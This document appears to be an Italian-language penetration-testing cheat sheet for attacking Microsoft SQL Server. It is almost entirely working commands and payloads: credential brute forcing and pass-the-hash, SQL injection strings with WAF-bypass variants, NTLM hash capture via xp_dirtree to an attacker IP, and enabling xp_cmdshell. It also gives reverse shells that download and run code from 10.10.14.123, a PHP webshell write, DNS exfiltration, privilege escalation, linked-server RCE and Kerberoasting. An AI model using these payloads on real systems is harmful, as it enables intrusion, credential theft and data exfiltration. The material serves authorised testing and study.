SQL Injection MSSQL: xp_cmdshell, WAF Bypass e RCE

# Scan base con script MSSQL
nmap -sV -sC -p 1433 10.10.10.15

# Scan completo con tutti gli script MSSQL
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,\
ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes \
--script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,\
mssql.instance-name=MSSQLSERVER -sV -p 1433 10.10.10.15

# SQL Browser per istanze named
nmap -sU -p 1434 10.10.10.15

# Se sospetti istanze named su porte dinamiche
nmap -p 1024-65535 --open 10.10.10.15

# SQL auth
nxc mssql 10.10.10.15 -u sa -p passwords.txt
nxc mssql 10.10.10.15 -u users.txt -p 'Password123'

# Windows auth (dominio)
nxc mssql 10.10.10.15 -u users.txt -p 'Password123' -d corp.local

# Pass-the-hash
nxc mssql 10.10.10.15 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:hash

# Enum utenti AD via RID bruteforce
nxc mssql 10.10.10.15 -u sa -p 'Password123' --rid-brute 5000

# Esegui comando direttamente se hai le creds
crackmapexec mssql -d corp -u user -p pass -x "whoami"
crackmapexec mssql -d corp -u user -H hash -X '$PSVersionTable'

# SQL auth
mssqlclient.py sa:Password123@10.10.10.15

# Windows auth
mssqlclient.py -windows-auth CORP/user:pass@10.10.10.15

# Con database specifico
mssqlclient.py [-db NomeDB] sa:pass@10.10.10.15

# sqsh (alternativa)
sqsh -S 10.10.10.15 -U sa -P Password123
sqsh -S 10.10.10.15 -U .\\utente_locale -P pass   # Windows auth locale

SELECT @@VERSION;
SELECT DB_NAME();
SELECT SYSTEM_USER;
SELECT USER_NAME();
SELECT @@SERVERNAME;
SELECT DEFAULT_DOMAIN();
SELECT IS_SRVROLEMEMBER('sysadmin');
SELECT * FROM fn_my_permissions(NULL,'SERVER');
SELECT name FROM sys.databases;
SELECT service_account FROM sys.dm_server_services;
SELECT name, data_source FROM sys.servers WHERE is_linked=1;
SELECT name FROM sys.server_principals WHERE IS_SRVROLEMEMBER('sysadmin',name)=1;

-- Hashes SQL logins (MSSQL 2005+ hashcat mode 132)
SELECT name+'-'+master.sys.fn_varbintohexstr(password_hash) FROM master.sys.sql_logins;

-- MSSQL → WAITFOR DELAY (esclusivo, non esiste su nessun altro DBMS)
'; WAITFOR DELAY '0:0:5';-- -

-- MySQL/MariaDB → SLEEP
' AND SLEEP(5)-- -

-- PostgreSQL → pg_sleep
' AND pg_sleep(5)>0-- -

-- Oracle → DBMS_PIPE
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- -

' AND @@CONNECTIONS>0-- -                  → solo MSSQL
' AND BINARY_CHECKSUM(1)=BINARY_CHECKSUM(1)-- -   → solo MSSQL
' AND 1=CONVERT(int,@@VERSION)-- -         → errore con versione MSSQL nel testo
' AND @@VERSION LIKE '%Microsoft SQL Server%'-- -  → TRUE solo su MSSQL

SELECT * FROM products WHERE name = 'INPUT'

' UNION SELECT 1,2,3-- -
' UNION SELECT 1,2,3--+
' UNION SELECT 1,2,3--
' UNION SELECT NULL,NULL,NULL-- -
' UNION ALL SELECT 1,2,3-- -

') UNION SELECT 1,2,3-- -
')) UNION SELECT 1,2,3-- -

'; SELECT 1;-- -
'; WAITFOR DELAY '0:0:5';-- -
'; EXEC xp_dirtree '\\10.10.14.123\share';-- -
'; EXEC xp_cmdshell 'whoami';-- -

1 UNION SELECT 1,2,3-- -
1 AND 1=1-- -
1; WAITFOR DELAY '0:0:5';-- -

-- Commento inline al posto degli spazi
'/**/UNION/**/SELECT/**/1,2,3-- -

-- URL encoding (GET)
'+UNION+SELECT+1,2,3-- -
'%09UNION%09SELECT%091,2,3-- -      (TAB)
'%0aUNION%0aSELECT%0a1,2,3-- -     (newline)
'%0bUNION%0bSELECT%0b1,2,3-- -     (vertical tab)
'%0cUNION%0cSELECT%0c1,2,3-- -     (form feed)
'%0dUNION%0dSELECT%0d1,2,3-- -     (carriage return)
'%a0UNION%a0SELECT%a01,2,3-- -      (non-breaking space)

-- Null byte
'%00UNION SELECT 1,2,3-- -

-- Case mixing
' UnIoN SeLeCt 1,2,3-- -

-- UNION variants (bypass regex su "union select")
' UNION ALL SELECT 1,2,3-- -
' UNION DISTINCT SELECT 1,2,3-- -
' UNION DISTINCTROW SELECT 1,2,3-- -

-- Spezza UNION e SELECT con commento (bypassa regex "union select" come stringa unica)
' UNION/**/SELECT 1,2,3-- -
' UN/**/ION SE/**/LECT 1,2,3-- -
' UNION%0aSELECT 1,2,3-- -

-- Double encoding
'%2527 UNION SELECT 1,2,3-- -

-- Errore con il valore nel testo
ORDER BY 1,CONVERT(int,@@VERSION)-- -
ORDER BY (SELECT 1 WHERE 1=CONVERT(int,@@VERSION))-- -
ORDER BY (SELECT TOP 1 name FROM master..sysdatabases)-- -

-- Boolean via ORDER BY (cambia ordine risultati)
ORDER BY (SELECT CASE WHEN (1=1) THEN name ELSE id END FROM users)-- -
ORDER BY (SELECT CASE WHEN IS_SRVROLEMEMBER('sysadmin')=1 THEN 1 ELSE 2 END)-- -

-- MSSQL supporta JSON dal 2016
' AND JSON_VALUE('{"a":1}','$.a')=1 UNION SELECT 1,2,3-- -
' OR 1=(SELECT 1 WHERE JSON_VALUE('{"x":"1"}','$.x')='1') UNION SELECT 1,2,3-- -

-- Costruisci la keyword dinamicamente (bypass blacklist "xp_cmdshell", "UNION", ecc.)
'; DECLARE @q NVARCHAR(100)='UNI'+'ON SEL'+'ECT 1,2,3';EXEC(@q);-- -
'; DECLARE @c NVARCHAR(100)='xp_'+'cmdshell';EXEC @c 'whoami';-- -

'%00 UNION SELECT 1,2,3-- -
' UNION SELECT 1,2,3%00-- -

# WAF generico
--tamper=space2mssqlblank,charencode,randomcase

# WAF aggressivo
--tamper=space2mssqlblank,charencode,randomcase,between,equaltolike

# Solo obfuscation case+commenti
--tamper=randomcase,space2comment

# Encoding Unicode
--tamper=charunicodeencode,randomcase

# Aggiungi random agent per bypassare fingerprinting sqlmap
--random-agent

# Aggiungi delay per evitare rate limiting
--delay=2 --safe-freq=3

-- ORDER BY (errore quando superi le colonne reali)
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY N-- -

-- UNION NULL (type-safe, funziona sempre)
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -

-- Interi (se le colonne accettano int)
' UNION SELECT 1-- -
' UNION SELECT 1,2-- -
' UNION SELECT 1,2,3-- -

' UNION SELECT 'hackita',NULL,NULL-- -
' UNION SELECT NULL,'hackita',NULL-- -
' UNION SELECT NULL,NULL,'hackita'-- -

-- Recon iniziale
' UNION SELECT NULL,DB_NAME(),NULL-- -
' UNION SELECT NULL,@@VERSION,NULL-- -
' UNION SELECT NULL,SYSTEM_USER,NULL-- -
' UNION SELECT NULL,@@SERVERNAME,NULL-- -

-- Lista database
' UNION SELECT NULL,name,NULL FROM master..sysdatabases-- -
' UNION SELECT NULL,DB_NAME(0),NULL-- -     → cambia 0,1,2,3...

-- Lista tabelle
' UNION SELECT NULL,table_name,NULL FROM NomeDB.information_schema.tables-- -
' UNION SELECT NULL,name,NULL FROM NomeDB..sysobjects WHERE xtype='U'-- -

-- Lista colonne
' UNION SELECT NULL,column_name,NULL FROM NomeDB.information_schema.columns WHERE table_name='NomeTabella'-- -

-- Dump dati
' UNION SELECT NULL,username,password FROM NomeDB..NomeTabella-- -

-- Tutto in una riga (FOR XML PATH)
' UNION SELECT NULL,(SELECT username+':'+password+' | ' FROM NomeDB..NomeTabella FOR XML PATH('')),NULL-- -

-- CONVERT (il più usato)
' AND 1=CONVERT(int,(SELECT TOP 1 name FROM master..sysdatabases))-- -
' AND 1337=CONVERT(INT,(SELECT '~'+(SELECT @@version)+'~'))-- -

-- CAST
' AND 1=CAST((SELECT TOP 1 name FROM master..sysdatabases) AS int)-- -

-- Per parametri stringa
' + convert(int,@@version) + '

-- Tutti i DB in una riga
' AND 1=CAST((SELECT (SELECT name+' ' FROM master..sysdatabases FOR XML PATH(''))) AS int)-- -

-- Conferma discriminatore
' AND 1=1-- -    → pagina normale (TRUE)
' AND 1=2-- -    → pagina diversa (FALSE)

-- Lunghezza
' AND LEN((SELECT TOP 1 name FROM master..sysdatabases))=6-- -

-- Carattere per carattere (confronto diretto)
' AND SUBSTRING((SELECT TOP 1 name FROM master..sysdatabases),1,1)='m'-- -

-- Con ASCII + binary search (più veloce in automazione)
' AND ASCII(SUBSTRING((SELECT TOP 1 name FROM master..sysdatabases),1,1))>64-- -
' AND ASCII(SUBSTRING((SELECT TOP 1 name FROM master..sysdatabases),1,1))=109-- -

-- Dump password
' AND SUBSTRING((SELECT TOP 1 password FROM NomeDB..users),1,1)='a'-- -

-- Riga successiva
' AND SUBSTRING((SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN ('master')),1,1)='t'-- -

-- Conferma — varianti da provare
'; IF(1=1) WAITFOR DELAY '0:0:5';-- -
ProductID=1'; WAITFOR DELAY '0:0:5';-- -
ProductID=1); WAITFOR DELAY '0:0:5';-- -
ProductID=1')); WAITFOR DELAY '0:0:5';-- -

-- Estrai carattere per carattere
'; IF(ASCII(SUBSTRING((SELECT TOP 1 name FROM master..sysdatabases),1,1))=109) WAITFOR DELAY '0:0:5';-- -

-- Verifica sysadmin
'; IF(IS_SRVROLEMEMBER('sysadmin')=1) WAITFOR DELAY '0:0:5';-- -

-- Verifica esistenza tabella
'; IF EXISTS(SELECT * FROM NomeDB..NomeTabella) WAITFOR DELAY '0:0:5';-- -

sqlmap -r req.txt -p q --force-ssl --dbms=mssql --technique=B \
  --tamper=space2mssqlblank,charencode,randomcase \
  --string="valore_TRUE" --flush-session --no-cast --dbs

-- Conferma (nota il ; finale prima del commento)
'; SELECT 1;-- -

-- Bypass blacklist "EXEC xp_cmdshell" con variabile
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'whoami';-- -

-- Stacked senza punto e virgola (MSSQL specifico)
SELECT 'A' SELECT 'B'

-- Scrivi su tabella temporanea poi leggi con UNION
'; CREATE TABLE #tmp (data VARCHAR(1000)); INSERT INTO #tmp SELECT name FROM master..sysdatabases;-- -
' UNION SELECT NULL,(SELECT TOP 1 data FROM #tmp),NULL-- -

# Avvia PRIMA di mandare il payload
sudo responder -I tun0 -v

-- Varianti (tutte catturano NTLMv2)
'; EXEC master.dbo.xp_dirtree '\\10.10.14.123\share';-- -
'; EXEC master..xp_subdirs '\\10.10.14.123\share';-- -
'; EXEC master..xp_fileexist '\\10.10.14.123\share\file';-- -

-- Via BACKUP (metodo alternativo)
BACKUP LOG [TESTING] TO DISK='\\10.10.14.123\file'
RESTORE HEADERONLY FROM DISK='\\10.10.14.123\file'

-- Bypass WAF con variabile
'; DECLARE @q VARCHAR(99); SET @q='\\10.10.14.123\'; SET @q=@q+'share'; EXEC master.dbo.xp_dirtree @q;-- -

Use master; EXEC sp_helprotect 'xp_dirtree';
Use master; EXEC sp_helprotect 'xp_subdirs';

-- Verifica sysadmin e stato
SELECT IS_SRVROLEMEMBER('sysadmin');
SELECT CONVERT(INT, ISNULL(value, value_in_use)) FROM sys.configurations WHERE name='xp_cmdshell';

-- Abilita (step by step)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- One liner
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- Esegui comandi base
EXEC master..xp_cmdshell 'whoami';
EXEC master..xp_cmdshell 'whoami /priv';
EXEC master..xp_cmdshell 'net user /domain';
EXEC master..xp_cmdshell 'net group "Domain Admins" /domain';
EXEC master..xp_cmdshell 'ipconfig /all';

-- Reverse shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.123/shell.ps1") | powershell -noprofile';
EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://10.10.14.123/shell.exe C:\Windows\Temp\s.exe && C:\Windows\Temp\s.exe';

-- Disabilita dopo l'uso (OPSEC)
EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;

-- OLE Automation
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
DECLARE @shell INT;
EXEC sp_OACreate 'WScript.Shell', @shell OUT;
EXEC sp_OAMethod @shell, 'Run', NULL, 'cmd.exe /c whoami > C:\Windows\Temp\out.txt';

-- Python (gira come utente diverso da xp_cmdshell)
EXECUTE sp_execute_external_script @language=N'Python',
  @script=N'print(__import__("os").system("whoami"))';
EXECUTE sp_execute_external_script @language=N'Python',
  @script=N'print(open("C:\\inetpub\\wwwroot\\web.config","r").read())';

-- Webshell via OLE (8 = ForAppending — apre il file in append)
DECLARE @OLE INT, @FileID INT;
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT;
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\shell.php', 8, 1;
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>';
EXECUTE sp_OADestroy @FileID; EXECUTE sp_OADestroy @OLE;

-- Lettura file (richiede ADMINISTER BULK OPERATIONS)
SELECT * FROM OPENROWSET(BULK N'C:\Windows\win.ini', SINGLE_CLOB) AS Contents;
SELECT * FROM OPENROWSET(BULK N'C:\inetpub\wwwroot\web.config', SINGLE_CLOB) AS Contents;

-- Error-based file read via SQLi
-1 UNION SELECT NULL,(SELECT x FROM OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),NULL-- -

-- Registro di Windows
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion','ProductName';
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\MSSQLSERVER','ObjectName';

-- xp_dirtree verso Burp Collaborator (nessuna porta SMB necessaria, usa DNS)
'; EXEC master..xp_dirtree '\\tuosubdominio.burpcollaborator.net\share';-- -

-- fn_xe_file_target_read_file (richiede VIEW SERVER STATE)
'; IF EXISTS(SELECT * FROM fn_xe_file_target_read_file('C:\*.xel','\\'+(SELECT TOP 1 name FROM master..sysdatabases)+'.tuosubdominio.burpcollaborator.net\1.xem',null,null)) SELECT 1;-- -

-- Esfiltra dati via DNS (nome DB nel subdomain)
'; DECLARE @q NVARCHAR(256); SELECT @q=DB_NAME(); DECLARE @cmd NVARCHAR(4000); SET @cmd='\\'+@q+'.tuosubdominio.burpcollaborator.net\path'; EXEC master.dbo.xp_dirtree @cmd;-- -

-- Chi posso impersonare?
SELECT distinct b.name FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id=b.principal_id
WHERE a.permission_name='IMPERSONATE';

-- Impersona sa
EXECUTE AS LOGIN='sa';
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');

-- Torna indietro
REVERT;

-- Trova database trustworthy
SELECT a.name, b.is_trustworthy_on FROM master..sysdatabases a
INNER JOIN sys.databases b ON a.name=b.name WHERE b.is_trustworthy_on=1;

-- Verifica se sei db_owner
USE NomeDB;
SELECT rp.name AS role, mp.name AS user
FROM sys.database_role_members drm
JOIN sys.database_principals rp ON drm.role_principal_id=rp.principal_id
JOIN sys.database_principals mp ON drm.member_principal_id=mp.principal_id
WHERE rp.name='db_owner';

-- Crea stored procedure che esegue come il proprietario (admin)
USE NomeDB;
CREATE PROCEDURE sp_elevate WITH EXECUTE AS OWNER AS
EXEC sp_addsrvrolemember 'TUO_UTENTE','sysadmin';

EXEC sp_elevate;
SELECT IS_SRVROLEMEMBER('sysadmin');

-- Pulizia OPSEC
DROP PROCEDURE sp_elevate;

# Verifica token
EXEC xp_cmdshell 'whoami /priv';

# Se SeImpersonatePrivilege è presente → Potato attack
# GodPotato, PrintSpoofer, RoguePotato, JuicyPotato
EXEC xp_cmdshell 'C:\Windows\Temp\GodPotato.exe -cmd "cmd /c whoami"';

-- Lista linked server
SELECT name, data_source FROM sys.servers WHERE is_linked=1;

-- Chi sei sul server remoto?
EXEC ('SELECT SYSTEM_USER') AT [SERVER_COLLEGATO];
EXEC ('SELECT IS_SRVROLEMEMBER(''sysadmin'')') AT [SERVER_COLLEGATO];

-- Verifica il mapping delle credenziali (con quale account ti connetti al remoto)
EXEC sp_helplinkedsrvlogin 'NOME_LINKED_SERVER';

-- RCE se sei sysadmin sul remoto
EXEC ('sp_configure ''show advanced options'',1; RECONFIGURE;') AT [SERVER_COLLEGATO];
EXEC ('sp_configure ''xp_cmdshell'',1; RECONFIGURE;') AT [SERVER_COLLEGATO];
EXEC ('EXEC xp_cmdshell ''whoami''') AT [SERVER_COLLEGATO];

-- Chain di server (SQL01 → SQL02 → SQL03)
SELECT version FROM OPENQUERY("link1",'SELECT version FROM OPENQUERY(''link2'',''SELECT @@version AS version'')');

mssqlclient.py -windows-auth CORP/user:pass@SQLHOST
enum_links
use_link [NOME]
enable_xp_cmdshell
xp_cmdshell whoami

SELECT DEFAULT_DOMAIN();

# Kerberoast il service account
GetUserSPNs.py corp.local/user:pass -dc-ip 10.10.10.10 -request | grep MSSQL
hashcat -m 13100 tgs_hash.txt rockyou.txt

# RID bruteforce utenti AD via MSSQL
nxc mssql 10.10.10.15 -u sa -p 'pass' --rid-brute 5000

-- Con xp_cmdshell (se disponibile)
EXEC xp_cmdshell 'net user /domain';
EXEC xp_cmdshell 'net group "Domain Admins" /domain';
EXEC xp_cmdshell 'nltest /domain_trusts';